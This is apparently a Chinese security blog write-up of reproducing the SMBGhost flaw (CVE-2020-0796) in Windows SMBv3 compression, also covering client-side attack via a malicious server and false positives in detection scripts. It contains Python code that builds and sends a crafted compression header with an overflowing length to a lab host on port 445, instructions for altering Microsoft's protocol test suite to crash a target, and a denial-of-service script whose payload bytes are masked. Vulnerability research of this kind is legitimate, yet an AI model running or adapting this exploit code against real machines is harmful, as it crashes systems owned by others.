前言
2020.03.11 凌晨左右, 微软泄露一个SMB远程代码执行漏洞(CVE-2020-0796), 根据该漏洞描述是 CompressionTransformHeader 的使用出现了问题。
2020.03.11 胖虎弟作为一个纯Web狗, 只知道SMB走445端口能开文件共享服务,可是通过简单的搜索发现这个漏洞复现应该很简单,于是尝试写出溢出POC。
本文是偏向Web狗的视角去描述一次发掘并利用二进制漏洞的过程,给大家图一乐
前期信息收集
2020.03.11 刚拿到这个漏洞信息去google了一下(SMB3 deCompression)
https://www.mail-archive.com/[email protected]/msg00639.html
这个链接很有意思
花了半天时间把邮件看了一下, 收集到如下信息
1.这个洞是smb 3.1.1才有
2.可能跟 lz77 压缩算法解密代码有关系
3.问题提出者 Aurélien Aptel 是 这个SUSE Labs Samba 团队的, 并且把修复后的代码贡献到wireshark里面了
4.这个问题在2019年7月15号就提出了
5.影响 the latest Windows Server 2019
(应该是截止当时2019.07.15)
lz77解密算法可能存在问题?
先测试这个出了问题的lz77解密算法
[MS-XCA]: Processing | Microsoft Docs
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/34cb9ab9-5ce6-42d7-a518-107c1c7c65e7
lz77 deCompression算法的Python实现 (根据当时错误的 MS-XCA 伪代码)
https://ideone.com/7Lr6tN
这里存在一处错误, 缺少对 4-bytes的校验
修复后的代码如下
#!/usr/bin/env python3
from pprint import pprint as P
import struct
def test(data_in, data_out):
print("==========================")
print("IN: %s" % data_in)
try:
r = decode(data_in)
except:
print("ERR: exception during decoding")
else:
print("FINAL OUT: %s" % r)
if r == data_out:
print("MATCH")
else:
print("ERR: decompressed output doesnt match %d %d" % (len(r), len(data_out)))
def main():
test(bytes.fromhex(" ff ff ff 1f 61 62 63 17 00 0f ff 26 01"),
b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc')
test(bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00'),
b'\xff' * (1024 * 128))
def decode(ibuf):
obuf = bytearray()
BufferedFlags = 0
BufferedFlagCount = 0
InputPosition = 0
OutputPosition = 0
LastLengthHalfByte = 0
def output(x):
obuf.append(x)
# print("OUT: %02x"%x)
while True:
if BufferedFlagCount == 0:
# Read 4 bytes at InputPosition
BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
InputPosition += 4
BufferedFlagCount = 32
BufferedFlagCount = BufferedFlagCount - 1
if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
# Copy 1 byte from InputPosition to OutputPosition. Advance both.
output(ibuf[InputPosition])
InputPosition += 1
OutputPosition += 1
else:
if InputPosition == len(ibuf):
# Decompression is complete. Return with success.
return obuf
# Read 2 bytes from InputPosition
MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
InputPosition += 2
MatchLength = MatchBytes % 8
MatchOffset = (MatchBytes // 8) + 1
if MatchLength == 7:
if LastLengthHalfByte == 0:
# read 1 byte from InputPosition
MatchLength = ibuf[InputPosition]
MatchLength = MatchLength % 16
LastLengthHalfByte = InputPosition
InputPosition += 1
else:
# read 1 byte from LastLengthHalfByte position
MatchLength = ibuf[LastLengthHalfByte]
MatchLength = MatchLength / 16
LastLengthHalfByte = 0
if MatchLength == 15:
# read 1 byte from InputPosition
MatchLength = ibuf[InputPosition]
InputPosition += 1
if MatchLength == 255:
# read 2 bytes from InputPosition
MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
InputPosition += 2
if MatchLength == 0:
MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
InputPosition += 4
if MatchLength < 15 + 7:
raise Exception("error")
MatchLength -= (15 + 7)
MatchLength += 15
MatchLength += 7
MatchLength += 3
# print(MatchLength)
for i in range(int(MatchLength)): # i = 0 to MatchLength - 1:
# Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
output(obuf[OutputPosition - MatchOffset])
OutputPosition += 1
def encode(symbols):
Flags = 0
FlagCount = 0
FlagOutputPosition = 0
OutputPosition = 0
LastLengthHalfByte = 0
buffer = bytearray()
def output(x):
buffer.append(x)
# print("OUT: %02x"%x)
for symbol in symbols:
if isinstance(symbol ,''):
pass
if __name__ == '__main__':
main()
这里 bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00')
通过lz77 decode 就可以解码出来 65536个字节, 我开始一直以为是这里溢出的(其实不是,但是这里会跑出异常)
这里就猜测, 是不是可以发送这个包让smb服务器解密然后报错退出
按照这个思路, 后面就需要构造smb的数据包了, 想了想得去找一个Python实现的smb客户端(方便修改操作,tomcat ajp LFI当时就是这么挖出来的)和windows Server 2019 1909的测试环境
于是就先虚拟机安装了windows Server 2019 1909
ed2k://|file|cn_windows_10_consumer_editions_version_1909_updated_jan_2020_x64_dvd_47161f17.iso|5417457664|274FEBA5BF0C874C291674182FA9C851|/
尝试构造SMB数据包
然后去github搜索smb3的相关Python实现,找到几个相关的项目
https://github.com/jborean93/smbprotocol
https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smbconnection.py
https://github.com/miketeo/pysmb
https://github.com/vphpersson/smb
然后过滤了一下是否包含Compression/smb3.1.1也就剩下
https://github.com/vphpersson/smb
https://github.com/jborean93/smbprotocol
相对比较有希望, 然后知道继续深入了解到是COMPRESSION_TRANSFORM_HEADER这个关键字段
然后继续github搜索,发现一个微软实现的测试集,这里包含了所有的相关测试
因为对微软的这套很不熟,2020.03.11装了一晚上跑起来了但是也不太会用,所以继续研究使用 https://github.com/jborean93/smbprotocol
smbprotocol里面有些地方相对比较清晰,可以自己操作一些数据, 构建数据包
比如smbprotocol/examples/low-level/file-management.py
发现微软几天前刚刚更新lz77的解密算法, 所以以为这里有漏洞(虽然后面发现关键漏洞函数不在这里)
后来搜索 lz77 pcap, 碰碰运气,结果发现 wireshark 已经存在 lz77的smb pcap包提供了,下载分析
https://github.com/wireshark/wireshark/blob/master/test/captures/smb311-lz77-lz77huff-lznt1.pcap.gz
尝试构造 SMB2CompressionTransformHeader
然后根据 smbprotocol.connection.Connection.connect 中的相关代码,以及smbprotocol.connection.SMB2TransformHeader
SMB2TransformHeader
class SMB2TransformHeader(Structure):
"""
[MS-SMB2] v53.0 2017-09-15
2.2.41 SMB2 TRANSFORM_HEADER
The SMB2 Transform Header is used by the client or server when sending
encrypted message. This is only valid for the SMB.x dialect family.
"""
def __init__(self):
self.fields = OrderedDict([
('protocol_id', BytesField(
size=4,
default=b"\xfdSMB"
)),
('signature', BytesField(
size=16,
default=b"\x00" * 16
)),
('nonce', BytesField(size=16)),
('original_message_size', IntField(size=4)),
('reserved', IntField(size=2, default=0)),
('flags', IntField(
size=2,
default=1
)),
('session_id', IntField(size=8)),
('data', BytesField()) # not in spec
])
super(SMB2TransformHeader, self).__init__()
可以尝试构造 SMB2CompressionTransformHeader
SMB2CompressionTransformHeader
class SMB2CompressionTransformHeader(Structure):
def __init__(self):
self.fields = OrderedDict([
('protocol_id', BytesField(
size=4,
default=b"\xfcSMB"
)),
('OriginalCompressedSegmentSize', IntField(
size=4,
default=0x00
)),
('CompressionAlgorithm', IntField(
size=2,
default=0x0002
)),
('Flags', IntField(
size=2,
default=0x0000 #其实漏洞点在这里
)),
('Length', IntField(
size=4,
default=0x00
)),
])
super(SMB2CompressionTransformHeader, self).__init__()
可以构造出来一个符合 smbv3.1.1 CompressionTransformHeader的包
import uuid
from collections import OrderedDict
import socket
from smbprotocol import Commands
from smbprotocol.connection import *
from smbprotocol.structure import BytesField, IntField, Structure
#!/usr/bin/env python3
from pprint import pprint as P
import struct
def decode(ibuf):
obuf = bytearray()
BufferedFlags = 0
BufferedFlagCount = 0
InputPosition = 0
OutputPosition = 0
LastLengthHalfByte = 0
def output(x):
obuf.append(x)
# print("OUT: %02x"%x)
while True:
if BufferedFlagCount == 0:
# Read 4 bytes at InputPosition
BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
InputPosition += 4
BufferedFlagCount = 32
BufferedFlagCount = BufferedFlagCount - 1
if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
# Copy 1 byte from InputPosition to OutputPosition. Advance both.
output(ibuf[InputPosition])
InputPosition += 1
OutputPosition += 1
else:
if InputPosition == len(ibuf):
# Decompression is complete. Return with success.
return obuf
# Read 2 bytes from InputPosition
MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
InputPosition += 2
MatchLength = MatchBytes % 8
MatchOffset = (MatchBytes // 8) + 1
if MatchLength == 7:
if LastLengthHalfByte == 0:
# read 1 byte from InputPosition
MatchLength = ibuf[InputPosition]
MatchLength = MatchLength % 16
LastLengthHalfByte = InputPosition
InputPosition += 1
else:
# read 1 byte from LastLengthHalfByte position
MatchLength = ibuf[LastLengthHalfByte]
MatchLength = MatchLength / 16
LastLengthHalfByte = 0
if MatchLength == 15:
# read 1 byte from InputPosition
MatchLength = ibuf[InputPosition]
InputPosition += 1
if MatchLength == 255:
# read 2 bytes from InputPosition
MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
InputPosition += 2
if MatchLength == 0:
MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
InputPosition += 4
if MatchLength < 15 + 7:
raise Exception("error")
MatchLength -= (15 + 7)
MatchLength += 15
MatchLength += 7
MatchLength += 3
# print(MatchLength)
for i in range(int(MatchLength)): # i = 0 to MatchLength - 1:
# Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
output(obuf[OutputPosition - MatchOffset])
OutputPosition += 1
class SMB2CompressionTransformHeader(Structure):
def __init__(self):
self.fields = OrderedDict([
('protocol_id', BytesField(
size=4,
default=b"\xfcSMB"
)),
('OriginalCompressedSegmentSize', IntField(
size=4,
default=0x00
)),
('CompressionAlgorithm', IntField(
size=2,
default=0x0002
)),
('Flags', IntField(
size=2,
default=0x0000
)),
('Length', IntField(
size=4,
default=0x00
)),
])
super(SMB2CompressionTransformHeader, self).__init__()
# 这里填充的是从wireshark里面抠出来已经lz77编码过的数据
header_actual = b'\xb0\x82\x88\x00\xfe\x53\x4d\x42\x40\x00\x01\x00\x01\x00\x08\x00\x0a\x4c\x00\x00\x00\x06\x8a\x00\x00\x00\xff\xfe\x00\x9a\x00\x6d\x79\x00\x10\xa4\x00\x37\x00\x11\x11\x00\x50\x00\xff\xff\xff\x5f\x00\xbf\x00\x61\x07\x00\x0f\xff\xfc\x0f'
print(header_actual)
print(len(header_actual))
print("--"*20)
message = SMB2CompressionTransformHeader()
message['OriginalCompressedSegmentSize'] = len(decode(header_actual))
message['Length'] = 0xffffffff
actual = message.pack()
print(message)
msg_body_len = len(actual + header_actual)
print(msg_body_len)
L = bytes.fromhex(hex(msg_body_len)[2:])
print(L)
nbss = b'\x00' + b'\x00' * (3-len(L)) + L
print(nbss)
smb_payload = nbss + actual + header_actual
s = socket.socket(2, 1)
s.connect(("192.168.38.136", 445))
s.send(smb_payload)
buff_res = s.recv(4096)
print(buff_res)
s.close()
微软补丁发布&补丁对比细节公开
2020.03.12日夜间微软发布了对应的补丁, 2020.03.13 凌晨陆续纰漏相关补丁对比细节
https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
这里提到我之前发现的 微软Windows协议测试包
到这里我已经看了1,2天的smb协议了,大概知道是怎么回事了, 我大方向是还是对的
通过 WindowsProtocolTestSuites 构造SMB数据包
这里修改 Smb2Compression
中的 compressedPacket.Header.Offset
为 0xffffffff
即可, 然后本地再次启动 WindowsProtocolTestSuites
安装依赖可以使用 WindowsProtocolTestSuites\InstallPrerequisites\InstallPrerequisites.ps1
这里会帮你安装 vs2017或者vs2019
启动项目,选择\WindowsProtocolTestSuites
然后在解决方案管理器
中点击
\WindowsProtocolTestSuites\TestSuites\FileServer\src\FileServer.sln
调出测试资源管理器
,得到如下界面
如果运行报错可以把如下代码注释掉,这是个检测系统版本的判断条件,对测试没有影响
// Check platform
/* if (TestConfig.IsWindowsPlatform)
{
BaseTestSite.Assume.IsFalse(TestConfig.Platform < Platform.WindowsServerV1903, "Windows 10 v1809 operating system and prior, Windows Server v1809 operating system and prior, and Windows Server 2019 and prior do not support compression.");
}*/
另外还需要修改一处测试config文件 (可以搜索 192.168.1.11
查找)
\WindowsProtocolTestSuites\TestSuites\FileServer\src\Common\TestSuite\CommonTestSuite.deployment.ptfconfig
这是本次测试的配置文件,修改对应的选线为目标靶机即可,密码最好填正确的, 比较方便抓包测试(有些测试步骤需要认证,方便wireshark抓包),其实不需要密码
然后修改\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
中的compressedPacket.Header.Offset = 0xffffffff;
找到 Microsoft.Protocols.TestSuites.FileSharing.SMB2.TestSuite.Compression.BVT_SMB2Compression_LZ77
运行测试
这里打开wireshark抓包,若是虚拟机是nat模式的话,选择抓vnet8
网卡
这里一共2个请求包一个响应包, 此时win10测试靶机已经蓝屏
因为这里微软测试包发包时使用了smb签名,所以不能重放,所以按照smb2 通信图猜测,只需要一个协商包一个压缩包即可实现dos
这里协商包从 https://github.com/ollypwn/SMBGhost 扣了出来,因为这里的smb协商包没有签名,然后我修改了加密算法为 lz77
然后追加一个lz77的压缩包
(这里POC仅能导致蓝屏, 没有其他攻击作用, 不要来检测漏洞)
# CVE-2020-0796 DOS EXP
import socket
s = socket.socket(2, 1)
s.connect(("192.168.38.136", 445))
print("send Negotiate.....")
smb_payload_1 = b'相关原因马赛克'
s.send(smb_payload_1)
buff_res = s.recv(4096)
print("send Payload.....")
smb_payload = b"相关原因马赛克"
s.send(smb_payload)
buff_res = s.recv(4096)
s.close()
大概逻辑是客户端先发送一个Negotiate包跟Smb server商议使用 lz77 加密传输后续消息(加密方式可能无关,但是这个比较好实现)
然后 再发送一个修改了offset的使用了 CompressionTransformHeader 的数据包
触发smb server中的整形溢出漏洞,然后Win10测试靶机崩溃蓝屏
攻击客户端
同样的原理, 诱导客户端访问 UNC格式路径也可以触发这个漏洞
这里构造一个恶意服务器, 等待客户端连接, 响应一个Negotiate包跟Smb clinet商议使用加密传输, 然后接收客户端下一个请求,再返回一个恶意的压缩包就ok,视频如下
DOS Pcap包
网传版本检测的POC补丁误报
检测POC pcap
https://github.com/ollypwn/SMBGhost/blob/master/SMBGhost.pcap
NEGOTIATE_CONTEXT 参考这里
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
可以看到协商请求包中NEGOTIATE_CONTEXT有2个,所以NegotiateContextCount为2
CAPABILITIES分别为SMB2_PREAUTH_INTEGRITY_CAPABILITIES
和 SMB2_COMPRESSION_CAPABILITIES
如果服务器支持, 就会所以返回NEGOTIATE_CONTEXT为2, 所以POC检测协商返回包中的NegotiateContextCount是否为2,如果为2且smb支持3.1.1方言就认为目标有漏洞
但这里有个问题,如果目标打了smb补丁,这里还会返回NegotiateContextCount为2,所以目前的版本检测POC在目标打补丁后会有误报
作者:斗象能力中心 TCC – 小胖虎
来源:freebuf.com 2020-03-13 18:49:42 by: 斗象智能安全平台
请登录后发表评论
注册